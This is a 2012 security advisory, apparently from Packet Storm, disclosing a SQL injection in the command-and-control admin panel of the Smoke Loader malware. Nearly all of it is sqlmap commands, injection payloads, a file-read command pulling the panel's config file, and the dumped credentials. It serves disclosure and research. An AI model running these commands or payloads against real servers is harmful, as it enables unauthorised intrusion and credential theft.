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Smoke Loader SQL Injection

🗓️ 22 Dec 2012 00:00:00Reported by IanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Smoke Loader SQL Injection in C&C admin panel - admin password revelatio

Code
`Like other http-based exploit kits, I've discovered that the smoke loader malware downloader has a sql injection in its C&C administration panel that can be used to revel the administrator's password.  
  
sqlmap can identify the vulnerable parameter with the string:  
  
root@localhoost:/opt/pentest/database/sqlmap# ./sqlmap.py -u evilserver.com/directory/guest.php  
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3  
--risk 3  
  
  
sqlmap identified the following injection points with a total of 278  
HTTP(s) requests:  
---  
Place: GET  
Parameter: id  
Type: boolean-based blind  
Title: MySQL boolean-based blind - WHERE or HAVING clause (RLIKE)  
Payload: id=1 LIMIT 0,1 UNION ALL SELECT  
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL  
RLIKE IF(2984=2984,0x4d7953514c,0x28)  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 13 columns  
Payload: id=1 LIMIT 0,1 UNION ALL SELECT  
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL  
LIMIT 0,1 UNION ALL SELECT  
NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a71616c3a,0x467173496b71686b617a,0x3a7269703a),NULL,NULL,NULL,NULL,NULL#  
  
Type: AND/OR time-based blind  
Title: MySQL > 5.0.11 AND time-based blind  
Payload: id=1 LIMIT 0,1 UNION ALL SELECT  
NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a78746d3a,0x5164707853564955484a,0x3a6a67613a),NULL,NULL,NULL  
AND SLEEP(5)  
  
Then:  
  
root@localhoost:/opt/pentest/database/sqlmap# ./sqlmap.py -u evilserver.com/directory/guest.php  
--auth-cred=guest:guest --auth-type=basic --dbms mysql --level 3 --risk  
3 --file-read=[smoke root directory--can be found by sql errors on guest panel  
by replacing the above parameters with invalid data]/admin/inc/cfg.php  
  
  
root@localhoost:/opt/pentest/database/sqlmap# cat output/localhost/files/_var_www_smoke_admin_inc_cfg.php  
<?php  
  
$config["admin"] = "bla"; //admin login name  
$config["pass"] = "blabla"; //admin password  
  
$config["guest"] = "guest"; //admin login name  
$config["gpass"] = "guest"; //admin password  
  
$config["dbhost"] = "localhost";  
$config["dbname"] = "smoke"; //mysql database name  
$config["dbuser"] = "bla"; //mysql database username  
$config["dbpass"] = "meh"; //mysql databse password  
  
$config["interval"] = 600; //interval for check online bots  
  
$OS = array  
(  
0 => "Windows XP",  
1 => "Windows 2003",  
2 => "Windows Vista",  
3 => "Windows 7",  
4 => "Other"  
);  
  
?>  
  
  
`

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22 Dec 2012 00:00Current
0.4Low risk
Vulners AI Score0.4
17